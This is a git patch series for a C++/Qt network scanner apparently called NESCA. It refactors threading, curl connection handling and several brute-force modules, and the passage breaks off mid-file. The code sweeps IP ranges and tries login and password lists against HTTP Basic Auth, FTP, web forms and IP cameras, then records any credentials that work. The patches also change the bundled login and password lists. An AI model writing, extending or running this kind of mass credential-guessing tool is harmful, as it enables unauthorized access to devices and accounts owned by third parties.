ParseArgs(argc, argv); mode = gMode; int resInit = fInit(gMode, gRange); + if(resInit == -1 ) { stt->doEmitionRedFoundData("[Error] fInit failure"); @@ -2272,32 +2153,22 @@ int startScan(char* args) return -1; }; - stt->doEmitionIPRANGE(QString(saveEndIP)); + stt->doEmitionIPRANGE(QString("--")); stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); _passLoginLoader(); _NegativeLoader(); - - char res[256] = {0}; + if (gMode == 0) { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread((void(*)(void*))_saver, 0, NULL); -#else - pthread_t thrs; - pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); -#endif -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if (trackerOK) _beginthread((void(*)(void*))_tracker, 0, NULL); - _beginthread((void(*)(void*))_timer, 0, NULL); -#else - pthread_t thrt; - pthread_t thrtt; - if(trackerOK) pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); - pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); -#endif + std::thread saverThread(_saver); + std::thread trackerThread(_tracker); + std::thread timerThread(_timer); + saverThread.detach(); + trackerThread.detach(); + timerThread.detach(); - unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; + unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; switch (gShuffle) { @@ -2320,6 +2191,8 @@ int startScan(char* args) tAddr.s_addr = ntohl(tAddr.s_addr); ipVec.push_back(inet_ntoa(tAddr)); #endif + if(ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); + if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); @@ -2327,16 +2200,14 @@ int startScan(char* args) while (cons >= gThreads && globalScanFlag) Sleep(500); if (globalScanFlag == false) goto haters_gonna_hate_IPM; - ZeroMemory(res, sizeof(res)); + ++indexIP; - strcpy(res, ipVec[0].c_str()); - strcpy(saveStartIP, res); - ipVec.erase(ipVec.begin()); - targetAndIPWriter(gTargets--, res); - //std::thread workerThread(_connect, res); - //workerThread.detach(); - Threader::fireThread(res, (void* (*)(int,std::condition_variable*))_connect); - Sleep(gThreadDelay); + std::string res = ipVec[0]; + ipVec.erase(ipVec.begin()); + + targetAndIPWriter(gTargets--, res.c_str()); + + Threader::fireThread(res, (void*(*)(void))_connect); } } } @@ -2350,7 +2221,8 @@ int startScan(char* args) while (cons >= gThreads && globalScanFlag) Sleep(500); if (globalScanFlag == false) break; - ZeroMemory(res, sizeof(res)); + + std::string res = ""; ++indexIP; tAddr.s_addr = i; @@ -2361,12 +2233,11 @@ int startScan(char* args) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); #else tAddr.s_addr = ntohl(tAddr.s_addr); - strcpy(res, inet_ntoa(tAddr)); + res = string(inet_ntoa(tAddr)); #endif - strcpy(saveStartIP, res); - targetAndIPWriter(gTargets--, res); - Threader::fireThread(res, (void* (*)(int,std::condition_variable*))_connect); - Sleep(gThreadDelay); + targetAndIPWriter(gTargets--, res.c_str()); + + Threader::fireThread(res, (void*(*)(void))_connect); } break; } @@ -2374,32 +2245,15 @@ int startScan(char* args) } else if(gMode == 1 ) { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread( (void(*)(void*))_saver, 0, NULL ); -#else - pthread_t thrs; - pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); -#endif + std::thread saverThread(_saver); + std::thread trackerThread(_tracker); + std::thread timerThread(_timer); + saverThread.detach(); + trackerThread.detach(); + timerThread.detach(); + strcpy(top_level_domain, gFirstDom); - if(trackerOK) - { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread( (void(*)(void*))_tracker, 0, NULL ); -#else - pthread_t thrt; - pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); -#endif - }; - - Sleep(40); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread( (void(*)(void*))_timer, 0, NULL ); -#else - pthread_t thrtt; - pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); -#endif - char dataEntry[1024] = {0}; int innerCounter = 0; int sz = strlen(saveEndIP); @@ -2523,33 +2377,17 @@ int startScan(char* args) return -1; }; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread((void(*)(void*))_saver, 0, NULL); -#else - pthread_t thrs; - pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); -#endif - if (trackerOK) - { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread((void(*)(void*))_tracker, 0, NULL); -#else - pthread_t thrt; - pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); -#endif - }; - Sleep(40); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread((void(*)(void*))_timer, 0, NULL); -#else - pthread_t thrtt; - pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); -#endif + std::thread saverThread(_saver); + std::thread trackerThread(_tracker); + std::thread timerThread(_timer); + saverThread.detach(); + trackerThread.detach(); + timerThread.detach(); stt->doEmitionChangeStatus("Scanning..."); for (gC = 0; gC < flCounter; ++gC) - { + { strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str()); strcat(metaRange, "."); strcat(metaRange, std::to_string(ipsstartfl[gC][1]).c_str()); @@ -2586,6 +2424,8 @@ int startScan(char* args) tAddr.s_addr = ntohl(tAddr.s_addr); ipVec.push_back(inet_ntoa(tAddr)); #endif + if(ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); + if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); @@ -2593,15 +2433,14 @@ int startScan(char* args) while (cons >= gThreads && globalScanFlag) Sleep(500); if (globalScanFlag == false) goto haters_gonna_hate_IM; - ZeroMemory(res, sizeof(res)); + ++indexIP; - strcpy(res, ipVec[0].c_str()); - strcpy(saveStartIP, res); + std::string res = ipVec[0]; ipVec.erase(ipVec.begin()); - targetAndIPWriter(gTargets--, res); - Threader::fireThread(res, (void* (*)(int,std::condition_variable*))_connect); - Sleep(gThreadDelay); + targetAndIPWriter(gTargets--, res.c_str()); + + Threader::fireThread(res, (void*(*)(void))_connect); } } } @@ -2614,20 +2453,19 @@ int startScan(char* args) while (cons >= gThreads && globalScanFlag) Sleep(500); if (globalScanFlag == false) break; - ZeroMemory(res, sizeof(res)); + ++indexIP; + std::string res = ""; tAddr.s_addr = i; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); #else tAddr.s_addr = ntohl(tAddr.s_addr); - strcpy(res, inet_ntoa(tAddr)); + res = string(inet_ntoa(tAddr)); #endif - strcpy(saveStartIP, res); - targetAndIPWriter(gTargets--, res); - Threader::fireThread(res, (void* (*)(int,std::condition_variable*))_connect); - Sleep(gThreadDelay); + targetAndIPWriter(gTargets--, res.c_str()); + Threader::fireThread(res, (void*(*)(void))_connect); } break; }; From 2b5c7fc0aa78b4632c9595147b07ac4f8309df56 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sun, 22 Mar 2015 03:43:15 +0300 Subject: [PATCH 38/66] not-a-single-fcuk-version --- .gitignore | 1 + BasicAuth.cpp | 35 +++- BasicAuth.h | 14 +- BruteUtils.cpp | 4 +- CheckKey_Th.cpp | 4 +- Connector.cpp | 99 ++++++---- Connector.h | 8 +- DrawerTh_ME2Scanner.cpp | 10 +- DrawerTh_ME2Scanner.h | 1 + FTPAuth.cpp | 27 +-- FTPAuth.h | 14 +- Threader.cpp | 13 +- Threader.h | 4 +- Utils.cpp | 2 +- WebformWorker.cpp | 8 +- WebformWorker.h | 14 +- connector_old.cpp | 13 +- finder.cpp | 260 ++++++++++++--------------- login.txt | 7 +- mainResources.h | 124 ++++++------- msgcheckerthread.cpp | 4 +- negatives.txt | 1 - nesca_3.cpp | 41 ++--- nesca_3.h | 4 +- nesca_3.pri | 48 ----- nesca_3.pro | 20 --- nesca_3.rc | Bin 5064 -> 5064 bytes nesca_3.ui | 15 +- nesca_startModule.cpp | 387 +++++++++++++++++++--------------------- pass.txt | 7 +- 30 files changed, 562 insertions(+), 627 deletions(-) delete mode 100644 nesca_3.pri delete mode 100644 nesca_3.pro diff --git a/.gitignore b/.gitignore index 882c851..659b161 100644 --- a/.gitignore +++ b/.gitignore @@ -31,3 +31,4 @@ tags.txt version lisca.cpp main - копия.cpp +result_files-* diff --git a/BasicAuth.cpp b/BasicAuth.cpp index 4e060fa..e41b897 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -1,13 +1,30 @@ -#include <BasicAuth.h> +#include "BasicAuth.h" -bool BA::checkOutput(const string *buffer) { - if(Utils::ci_find_substr(*buffer, "200 ok") != -1 || +bool BA::checkOutput(const string *buffer, const char *ip, const int port) { + if((Utils::ci_find_substr(*buffer, "200 ok") != -1 || Utils::ci_find_substr(*buffer, "http/1.0 200") != -1 || - Utils::ci_find_substr(*buffer, "http/1.1 200") != -1 + Utils::ci_find_substr(*buffer, "http/1.1 200") != -1) + && Utils::ci_find_substr(*buffer, "http/1.1 401 ") == -1 + && Utils::ci_find_substr(*buffer, "http/1.0 401 ") == -1 + && Utils::ci_find_substr(*buffer, "<statusValue>401</statusValue>") == -1 + && Utils::ci_find_substr(*buffer, "<statusString>Unauthorized</statusString>") == -1 + && Utils::ci_find_substr(*buffer, "") == -1 + && Utils::ci_find_substr(*buffer, "Неправильны") == -1 ) { - return true; - } + } + else if (Utils::ci_find_substr(*buffer, "503 service unavailable") != -1 + || Utils::ci_find_substr(*buffer, "http/1.1 503") != -1 + || Utils::ci_find_substr(*buffer, "http/1.0 503") != -1 + || Utils::ci_find_substr(*buffer, "400 BAD_REQUEST") != -1 + || Utils::ci_find_substr(*buffer, "400 bad request") != -1 + || Utils::ci_find_substr(*buffer, "403 Forbidden") != -1 + ) + { + stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); + + Sleep(30000); + } return false; } @@ -28,15 +45,15 @@ lopaStr BA::_BABrute(const char *ip, const int port) { lpString = string(loginLst[i]) + ":" + string(passLst[j]); - Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString); + if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps; - if(checkOutput(&buffer)) { + if(checkOutput(&buffer, ip, port)) { strcpy(lps.login, loginLst[i]); strcpy(lps.pass, passLst[j]); return lps; }; - Sleep(70); + Sleep(100); } } diff --git a/BasicAuth.h b/BasicAuth.h index 56046f0..d08ec61 100644 --- a/BasicAuth.h +++ b/BasicAuth.h @@ -1,15 +1,15 @@ #ifndef BASICAUTH_H #define BASICAUTH_H -#include <Connector.h> -#include <BruteUtils.h> -#include <Utils.h> -#include <externData.h> -#include <mainResources.h> +#include "Connector.h" +#include "BruteUtils.h" +#include "Utils.h" +#include "externData.h" +#include "mainResources.h" -class BA : BruteUtils{ +class BA { private: - static bool checkOutput(const string *buffer); + static bool checkOutput(const string *buffer, const char *ip, const int port); static lopaStr _BABrute(const char *ip, const int port); public: diff --git a/BruteUtils.cpp b/BruteUtils.cpp index 14144c7..8ad5d20 100644 --- a/BruteUtils.cpp +++ b/BruteUtils.cpp @@ -1,9 +1,10 @@ -#include <BruteUtils.h> +#include "BruteUtils.h" #include "STh.h" #include "externData.h" void BruteUtils::BConInc() { + ++BA; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) __asm { @@ -31,5 +32,4 @@ void BruteUtils::BConDec() } stt->doEmitionChangeBA(QString::number(BrutingThrds)); - } diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp index 6cfd09b..753ba05 100644 --- a/CheckKey_Th.cpp +++ b/CheckKey_Th.cpp @@ -3,8 +3,8 @@ #include "STh.h" #include "externData.h" #include "externFunctions.h" -#include <Connector.h> -#include <Utils.h> +#include "Connector.h" +#include "Utils.h" void getSubStrEx(const char *src, char *startStr, char *endStr, char *dest, int szDest) { diff --git a/Connector.cpp b/Connector.cpp index 0e061b5..f81fc7f 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -1,7 +1,7 @@ -#include <Connector.h> +#include "Connector.h" #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -int _pingMyTarget(char *ip) +int _pingMyTarget(const char *ip) { HANDLE hIcmpFile; unsigned long ipaddr = INADDR_NONE; @@ -231,9 +231,9 @@ int my_trace(CURL *handle, curl_infotype type, void *userp) { if (type == CURLINFO_HEADER_OUT) { - Activity += strlen(data); - data[strstr(data, "\r\n\r\n") - data] = '\0'; - stt->doEmitionAddOutData(QString(data)); + data[size] = '\0'; + Activity += strlen(data); + stt->doEmitionAddOutData(QString(data)); } return 0; @@ -284,7 +284,6 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut); if(postData != NULL) { - curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData); }; @@ -300,29 +299,61 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk); } - if(lpString != NULL) { - curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); - //curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, TRUE); - curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str()); - }; - - //if(curl_easy_perform(curl) == CURLE_OK) { - if(1) { - curl_easy_cleanup(curl); - } else { - curl_easy_cleanup(curl); - return -1; - } - + if (lpString != NULL) { + curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); + curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, TRUE); + curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str()); + }; + + int res = curl_easy_perform(curl); + curl_easy_cleanup(curl); + + if (res == CURLE_OK || + (port == 21 && buffer->size() > 0)) { + if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str())); + Activity += buffer->size(); + return buffer->size(); + } else { + if (res != 28 && + res != 7 && + res != 67 && + res != 52 && + res != 55 && + res != 56) { + if (res == 5) { + stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. "); + return -2; + } + else if (res == 13) { + stt->doEmitionFoundData("Unknown ftp: (" + QString::number(res) + ") " + + QString(ip) + ":" + QString::number(port)); + return -2; + } else if (res == 8) { + stt->doEmitionFoundData("Strange ftp reply: (" + + QString::number(res) + ") " + QString(ip) + + ":" + QString::number(port)); + return -2; + } + else if (res == 6) { + stt->doEmitionFoundData("Couldn't resolve host. (" + + QString::number(res) + ") " + QString(ip) + + ":" + QString::number(port)); + return -2; + } + else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " + + QString(ip) + ":" + QString::number(port)); + } + ++offlines; + return -1; + } } else { stt->doEmitionRedFoundData("Curl error."); return -1; - }; + }; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str())); - - Activity += buffer->size(); - return buffer->size(); + if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str())); + Activity += buffer->size(); + return buffer->size(); } int Connector::_ConnectToPort(string ip, int port, char *hl) @@ -338,17 +369,17 @@ int Connector::_ConnectToPort(string ip, int port, char *hl) std::string buffer; int size = 0; - if(port == 22) size = _SSHLobby(ip.c_str(), port, &buffer); + if (port == 22) size = _SSHLobby(ip.c_str(), port, &buffer); else size = nConnect(ip.c_str(), port, &buffer); -// if(size > 0) -// { -// ++Alive; -// ++found; -// stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); -// Lexems lx; -// lx._filler(port, buffer.c_str(), ip, size, &lx, hl); -// }; + if(size > 0) + { + ++Alive; + ++found; + stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); + Lexems lx; + lx._filler(port, buffer.c_str(), (char*)ip.c_str(), size, &lx, hl); + }; return 0; } diff --git a/Connector.h b/Connector.h index 1bc0722..132e4cb 100644 --- a/Connector.h +++ b/Connector.h @@ -1,9 +1,9 @@ #ifndef CONNECTOR_H #define CONNECTOR_H -#include <externData.h> -#include <Utils.h> -#include <BruteUtils.h> +#include "externData.h" +#include "Utils.h" +#include "BruteUtils.h" #include "STh.h" #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) @@ -12,7 +12,7 @@ #pragma comment(lib, "iphlpapi.lib") #pragma comment(lib,"curllib.lib") #endif -#include <mainResources.h> +#include "mainResources.h" class Connector { diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp index 22232ce..a6b92cd 100644 --- a/DrawerTh_ME2Scanner.cpp +++ b/DrawerTh_ME2Scanner.cpp @@ -1,10 +1,11 @@ #include "DrawerTh_ME2Scanner.h" #include "STh.h" #include "externData.h" -#include <WebformWorker.h> +#include "WebformWorker.h" QList<QGraphicsPathItem*> DrawerTh_ME2Scanner::itmList; QVector<QPointF> DrawerTh_ME2Scanner::polyVect; +int DrawerTh_ME2Scanner::vecSize; void DrawerTh_ME2Scanner::doEmitDrawTextPlacers() { @@ -16,9 +17,9 @@ void DrawerTh_ME2Scanner::doEmitionAddPolyLine() emit dtME2->sAddPolyLine(); } -void MakePolygonLine(int gWidth) +int MakePolygonLine(int gWidth) { - DrawerTh_ME2Scanner::polyVect.clear(); + while (!DrawerTh_ME2Scanner::polyVect.empty()) Sleep(100); int x = 0; int tx = 0; int xtx = 0; @@ -127,6 +128,7 @@ void MakePolygonLine(int gWidth) Susp = 0; DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS)); + return DrawerTh_ME2Scanner::polyVect.size(); } void DrawerTh_ME2Scanner::run() @@ -139,7 +141,7 @@ void DrawerTh_ME2Scanner::run() if (widgetIsHidden == false && tray->isVisible() == false) { if (itmList.count() < 39) { - MakePolygonLine(gWidth); + vecSize = MakePolygonLine(gWidth); dtME2->doEmitionAddPolyLine(); } } diff --git a/DrawerTh_ME2Scanner.h b/DrawerTh_ME2Scanner.h index 2631c9d..4fe371b 100644 --- a/DrawerTh_ME2Scanner.h +++ b/DrawerTh_ME2Scanner.h @@ -10,6 +10,7 @@ class DrawerTh_ME2Scanner : public QThread Q_OBJECT public: + static int vecSize; static QList<QGraphicsPathItem*> itmList; static QVector<QPointF> polyVect; diff --git a/FTPAuth.cpp b/FTPAuth.cpp index 9e580cc..f1c75f7 100644 --- a/FTPAuth.cpp +++ b/FTPAuth.cpp @@ -1,8 +1,6 @@ #include "FTPAuth.h" bool FTPA::checkOutput(const string *buffer) { - //Login or password incorrect! - if(Utils::ci_find_substr(*buffer, "230") != -1) { return true; @@ -11,7 +9,7 @@ bool FTPA::checkOutput(const string *buffer) { return false; } -lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) { +lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) { string buffer; string lpString; lopaStr lps; @@ -20,6 +18,7 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) { ZeroMemory(lps.other, sizeof(lps.other)); strcpy(lps.login, "UNKNOWN"); + int res = 0; for(int i = 0; i < MaxLogin; ++i) { @@ -32,15 +31,17 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) { if(strlen(passLst[j]) <= 1) continue; lpString = string(loginLst[i]) + ":" + string(passLst[j]); - - Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString); - - if(checkOutput(&buffer)) { - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - return lps; - }; - + + res = Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString); + if (res == -2) return lps; + else if (res != -1) { + if (!globalScanFlag) return lps; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n'); + return lps; + }; + Sleep(70); } } @@ -48,7 +49,7 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) { return lps; } -lopaStr FTPA::_FTPLobby(const char *ip, const int port, const PathStr *ps) { +lopaStr FTPA::_FTPLobby(const char *ip, const int port, PathStr *ps) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); BruteUtils::BConInc(); diff --git a/FTPAuth.h b/FTPAuth.h index 059a553..f3abe15 100644 --- a/FTPAuth.h +++ b/FTPAuth.h @@ -1,19 +1,19 @@ #ifndef FTPAUTH_H #define FTPAUTH_H -#include <Connector.h> -#include <BruteUtils.h> -#include <Utils.h> -#include <externData.h> -#include <mainResources.h> +#include "Connector.h" +#include "BruteUtils.h" +#include "Utils.h" +#include "externData.h" +#include "mainResources.h" class FTPA { private: static bool checkOutput(const string *buffer); - static lopaStr _FTPBrute(const char *ip, const int port, const PathStr *ps); + static lopaStr _FTPBrute(const char *ip, const int port, PathStr *ps); public: - static lopaStr _FTPLobby(const char *ip, const int port, const PathStr *ps); + static lopaStr _FTPLobby(const char *ip, const int port, PathStr *ps); }; #endif // FTPAUTH_H diff --git a/Threader.cpp b/Threader.cpp index 34d4672..7817892 100644 --- a/Threader.cpp +++ b/Threader.cpp @@ -1,4 +1,4 @@ -#include <Threader.h> +#include "Threader.h" int Threader::threadId = 0; std::mutex Threader::m; @@ -8,22 +8,23 @@ std::queue<std::string> Threader::ipQueue; void Threader::fireThread(std::string ip, void *func(void)) { - ipQueue.push(ip); + + std::unique_lock<std::mutex> lk(m); + ipQueue.push(ip); if(threadId < gThreads) { ++threadId; std::thread workerThread(func); workerThread.detach(); } - std::unique_lock<std::mutex> lk(m); ready = true; Threader::cv.notify_one(); Sleep(gThreadDelay); } -//std::queue<std::string> empty; void Threader::cleanUp() { - //std::swap( ipQueue, empty ); - ipQueue = {}; + std::unique_lock<std::mutex> lk(m); + lk.unlock(); + lk.release(); threadId = 0; } diff --git a/Threader.h b/Threader.h index 8770651..3c4ed1c 100644 --- a/Threader.h +++ b/Threader.h @@ -1,8 +1,8 @@ #ifndef THREADER_H #define THREADER_H -#include <mainResources.h> -#include <externData.h> +#include "mainResources.h" +#include "externData.h" #include <thread> #include <mutex> #include <condition_variable> diff --git a/Utils.cpp b/Utils.cpp index 6f89b4c..c26f533 100644 --- a/Utils.cpp +++ b/Utils.cpp @@ -1,4 +1,4 @@ -#include <Utils.h> +#include "Utils.h" char *getSystemProxy() { return ""; diff --git a/WebformWorker.cpp b/WebformWorker.cpp index 3460f89..234f5aa 100644 --- a/WebformWorker.cpp +++ b/WebformWorker.cpp @@ -1,4 +1,4 @@ -#include <WebformWorker.h> +#include "WebformWorker.h" bool WFClass::active = false; @@ -49,7 +49,7 @@ lopaStr WFClass::parseResponse(const char *ip, else return result; } -lopaStr WFClass::doGetCheck(char *ip, +lopaStr WFClass::doGetCheck(const char *ip, int port, char *actionVal, char *userVal, @@ -92,7 +92,7 @@ lopaStr WFClass::doGetCheck(char *ip, return result; } -lopaStr WFClass::doPostCheck(char *ip, +lopaStr WFClass::doPostCheck(const char *ip, int port, char *actionVal, char *userVal, @@ -137,7 +137,7 @@ lopaStr WFClass::doPostCheck(char *ip, return result; } -lopaStr WFClass::_WFBrute( char *ip, +lopaStr WFClass::_WFBrute( const char *ip, int port, char *methodVal, char *actionVal, diff --git a/WebformWorker.h b/WebformWorker.h index f7deed8..a44f271 100644 --- a/WebformWorker.h +++ b/WebformWorker.h @@ -1,19 +1,19 @@ #ifndef WEBFORMWORKER_H #define WEBFORMWORKER_H -#include <Utils.h> +#include "Utils.h" #include "Connector.h" -#include <mainResources.h> -#include <externFunctions.h> -#include <BruteUtils.h> +#include "mainResources.h" +#include "externFunctions.h" +#include "BruteUtils.h" #include "STh.h" class WFClass : BruteUtils { private: static bool active; int passCounter = 1; - lopaStr doGetCheck(char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); - lopaStr doPostCheck(char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); + lopaStr doGetCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); + lopaStr doPostCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal, const int *iIndex, const int *jIndex); @@ -35,7 +35,7 @@ public: BConDec(); } - lopaStr _WFBrute(char *ip, + lopaStr _WFBrute(const char *ip, int port, char *methodVal, char *actionVal, diff --git a/connector_old.cpp b/connector_old.cpp index 16c8e3d..1da6549 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -5,9 +5,9 @@ #include "mainResources.h" #include "externFunctions.h" #include "externData.h" -#include <openssl/err.h> -#include <Utils.h> -#include <BruteUtils.h> +#include "openssl/err.h" +#include "Utils.h" +#include "BruteUtils.h" #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #include <iphlpapi.h> @@ -334,7 +334,7 @@ char *_makeDigestResponse( return (char*)responseMD5; } -int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) +int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) { char recvBuff[256] = {0}; char recvBuff2[4096] = {0}; @@ -427,7 +427,7 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int return 0; } -lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) +lopaStr _IPCameraBrute(const char *ip, int port, char *SPEC) { lopaStr lps; ZeroMemory(lps.login, sizeof(lps.login)); @@ -486,6 +486,7 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) negVector.push_back("Имя или пароль неверные!"); negVector.push_back("Возврат"); negVector.push_back("HTTP/1.0 302 Found"); + negVector.push_back("is incorrect"); } else { @@ -726,7 +727,7 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) return lps; } -lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC) +lopaStr _IPCameraBLobby(const char *ip, int port, char *SPEC) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); diff --git a/finder.cpp b/finder.cpp index b04b21e..79a3af8 100644 --- a/finder.cpp +++ b/finder.cpp @@ -184,7 +184,7 @@ char *GetCodePage(const char *str) }; } -int globalSearchNeg(const char *buffcpy, char *ip, int port) +int globalSearchNeg(const char *buffcpy, const char *ip, int port) { char negWord[256] = {0}; for(int i = 0; i < GlobalNegativeSize; ++i) @@ -245,7 +245,7 @@ int globalSearchPrnt(const char *buffcpy) return 0; } -int sharedDetector(char * ip, int port, const char *buffcpy) { +int sharedDetector(const char * ip, int port, const char *buffcpy) { if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) @@ -322,7 +322,7 @@ int sharedDetector(char * ip, int port, const char *buffcpy) { if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL - || strstr(buffcpy, "network camera") != NULL + || strstr(buffcpy, "network camera") != NULL || strstr(buffcpy, "index of") != NULL || strstr(buffcpy, "$lock extended") != NULL || strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL @@ -342,7 +342,7 @@ int sharedDetector(char * ip, int port, const char *buffcpy) { } // 500 < 1600 -int _mainFinderFirst(const char *buffcpy, int f, int port, char *ip) +int _mainFinderFirst(const char *buffcpy, int f, int port, const char *ip) { int flag = sharedDetector(ip, port, buffcpy); if(flag != -2) return flag; @@ -353,7 +353,7 @@ int _mainFinderFirst(const char *buffcpy, int f, int port, char *ip) } //> 1600 -int _mainFinderSecond(const char *buffcpy, int port, char *ip) +int _mainFinderSecond(const char *buffcpy, int port, const char *ip) { int flag = sharedDetector(ip, port, buffcpy); if(flag != -2) return flag; @@ -361,7 +361,7 @@ int _mainFinderSecond(const char *buffcpy, int port, char *ip) return 3; //Suspicious } -int ContentFilter(const char *buff, int port, char *ip, char *cp) +int ContentFilter(const char *buff, int port, const char *ip, char *cp) { if(buff != NULL) { @@ -406,7 +406,7 @@ int ContentFilter(const char *buff, int port, char *ip, char *cp) else return -1; } -void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, char *title, +void fillGlobalLogData(const char *ip, char *hostname, char *port, const char *sz, char *title, const char *login, const char *pass, char *comment, char *cdpg, char *clss) { if(trackerOK == true) @@ -456,15 +456,15 @@ int __checkFileExistence(int flag) { char 